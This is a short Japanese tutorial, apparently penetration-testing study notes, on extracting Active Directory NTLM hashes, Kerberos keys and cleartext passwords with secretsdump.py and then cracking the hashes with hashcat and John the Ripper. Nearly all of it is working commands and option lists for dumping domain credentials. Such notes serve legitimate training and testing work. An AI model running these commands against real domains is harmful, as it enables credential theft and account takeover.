SecretsdumpによるNTLM ハッシュと Kerberos キーの抽出とハッシュ解析
取得手順
- 1・secretsdump.pyを実行してNTLMハッシュとkerberosキーの抽出
- 2・抽出したNTLMハッシュの解析
1・secretsdump.pyを実行してNTLMハッシュとkerberosキーの抽出
secretsdump.py -outputfile inlanefreight_hashes -just-dc example.com/username@対象IPアドレス
※inlanefreight→出力結果を保存するファイル名(拡張子いらない)
※青文字は自身の環境に合わせて変更してください。
実行すると以下の3つのファイルが出力されます↓
・NTLM ハッシュ→.ntds拡張子
・Kerberos キー→.kerberos拡張子
・可逆暗号化が設定されたアカウントの NTDS からの平文パスワード→.cleartext拡張子
補足:他にもパスワード履歴をダンプしたい場合や特定のユーザのデータのみを抽出した場合は↓のオプションを使用する
・-just-dc-ntlm→NTLMハッシュのみの抽出
・-just-dc-user username→指定ユーザのデータのみ抽出
・-pwd-last-set→最後に変更されたパスワードの日時
・-history→パスワード履歴
・-user-status→ユーザが有効か無効な状態かを確認する
2・抽出したNTLMハッシュの解析
hashcat↓
hashcat -m 1000 hash.txt wordlist.txt
※-m 1000はNTLMハッシュ解析モードオプション
※hash.txtの内容は抽出したNTLMハッシュの値
※wordlist.txtはクラックに使用する辞書ファイル
John The Ripper↓
john --format=nt hash.txt --wordlist=wockyou.txt
※hash.txtの内容は抽出したNTLMハッシュの値
コメント